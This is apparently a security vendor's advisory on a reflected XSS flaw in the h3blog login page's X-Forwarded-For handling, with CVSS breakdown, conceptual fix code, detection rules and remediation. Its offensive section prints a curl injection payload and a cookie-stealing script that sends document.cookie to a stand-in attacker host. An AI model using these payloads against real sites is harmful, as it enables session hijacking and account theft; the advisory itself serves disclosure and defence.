CVE-2025-10485

Executive Summary

CVE-2025-10485 is a reflected Cross-Site Scripting (XSS) vulnerability in the pojoin h3blog application, affecting versions up to commit 5bf704425ebc11f4c24da51f32f36bb17ae20489. The flaw resides in the /login endpoint's HTTP Header Handler, specifically within the ppt_log function. An attacker can inject arbitrary JavaScript code via the X-Forwarded-For HTTP header, which is then reflected back to the user without proper sanitization. This allows for remote exploitation with user interaction (e.g., clicking a crafted link). The CVSS v3.1 base score is 4.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N. No official patch has been released as the project uses a rolling release model. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability does not affect a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone web application (h3blog) developed by pojoin. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the public PoC and ease of exploitation warrant immediate attention.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the HTTP header handling logic of h3blog's login page. The ppt_log function logs or processes the X-Forwarded-For header value and reflects it in the HTTP response without proper encoding or sanitization. An attacker can craft a malicious X-Forwarded-For header containing JavaScript payloads. When a victim's browser receives the response, the injected script executes in the context of the vulnerable domain.

Root Cause: Lack of output encoding for user-controlled input (the X-Forwarded-For header) when it is reflected in the response body.

Attack Flow:

1. Attacker crafts a URL or uses a tool to send a request to /login with a malicious X-Forwarded-For header.
2. The server processes the header and includes it in the response (e.g., in an error message or log display).
3. Victim's browser renders the response, executing the injected script.
4. The script can steal cookies, redirect the user, or perform other client-side attacks.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (Conceptual):

# Example in Python Flask
@app.route('/login')
def login():
    xff = request.headers.get('X-Forwarded-For', '')
    # Direct reflection without sanitization
    return f"<p>Your IP: {xff}</p>"

Patched Code (Conceptual):

import html
@app.route('/login')
def login():
    xff = request.headers.get('X-Forwarded-For', '')
    # Proper HTML escaping
    safe_xff = html.escape(xff)
    return f"<p>Your IP: {safe_xff}</p>"

The fix involves HTML-encoding the header value before reflection, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of h3blog (up to commit 5bf7044).
• A tool like curl, Burp Suite, or a browser with developer tools.

Exploitation Steps:

1. Craft a malicious X-Forwarded-For header with a JavaScript payload.
2. Send a request to the /login endpoint with the crafted header.
3. The victim must access the resulting response (e.g., via a crafted link or by intercepting traffic).

Example using curl:

curl -H "X-Forwarded-For: <script>alert('XSS')</script>" http://target/login

Example using a crafted URL (if the header is reflected in a GET parameter):

http://target/login?X-Forwarded-For=<script>alert('XSS')</script>

Advanced Payload (Cookie Stealing):

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Defensive)

Detection:

• Monitor HTTP requests for suspicious X-Forwarded-For headers containing <script>, onerror=, javascript:, or other XSS patterns.
• Use WAF rules to block or sanitize X-Forwarded-For headers with HTML/JavaScript content.
• Enable logging of all X-Forwarded-For header values for forensic analysis.

Mitigation:

• Apply input validation and output encoding for all user-controlled headers.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Consider using a reverse proxy (e.g., Nginx) to strip or sanitize the X-Forwarded-For header before it reaches the application.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /login with X-Forwarded-For headers containing <script>, onerror, javascript:, or base64-encoded payloads.
  • Outbound connections to attacker-controlled domains from the victim's browser (e.g., for cookie exfiltration).

• File IOCs:

  • Log entries showing unsanitized X-Forwarded-For values in response bodies.
  • Temporary files or cookies containing malicious JavaScript.

• Behavioral IOCs:

  • Unexpected JavaScript execution in the context of the h3blog login page.
  • Unusual redirects or pop-ups on the login page.

Detection Engineering

YARA Rule

rule CVE_2025_10485_XSS_Header {
    meta:
        description = "Detects XSS attempts via X-Forwarded-For header in h3blog"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-10485"
    strings:
        $xss_pattern1 = /X-Forwarded-For:\s*<script/i
        $xss_pattern2 = /X-Forwarded-For:\s*.*onerror\s*=/i
        $xss_pattern3 = /X-Forwarded-For:\s*.*javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-10485 XSS via X-Forwarded-For Header
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting h3blog login via X-Forwarded-For header
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/login'
        cs-headers|contains: 'X-Forwarded-For'
        cs-headers|re: '(?i)<script|onerror|javascript:'
    condition: selection
falsepositives:
    - Legitimate use of X-Forwarded-For with non-malicious content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10485 XSS via X-Forwarded-For Header"; flow:to_server; http.header; content:"X-Forwarded-For"; nocase; pcre:"/(?i)<script|onerror|javascript:/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Sanitize the X-Forwarded-For header by stripping or encoding HTML/JavaScript characters.
2. Implement CSP: Add a Content Security Policy header to restrict script execution (e.g., script-src 'self').
3. Use WAF: Deploy a Web Application Firewall with rules to block malicious X-Forwarded-For headers.

Long-Term Fix:

• The vendor (pojoin) should release a patched version that properly encodes the X-Forwarded-For header before reflection.
• Since the project uses a rolling release, monitor the repository for updates and apply them promptly.

Workaround:

• If patching is not possible, consider disabling the reflection of the X-Forwarded-For header in the login response, or use a reverse proxy to strip the header entirely.

Valters IT
Securing Digital Frontiers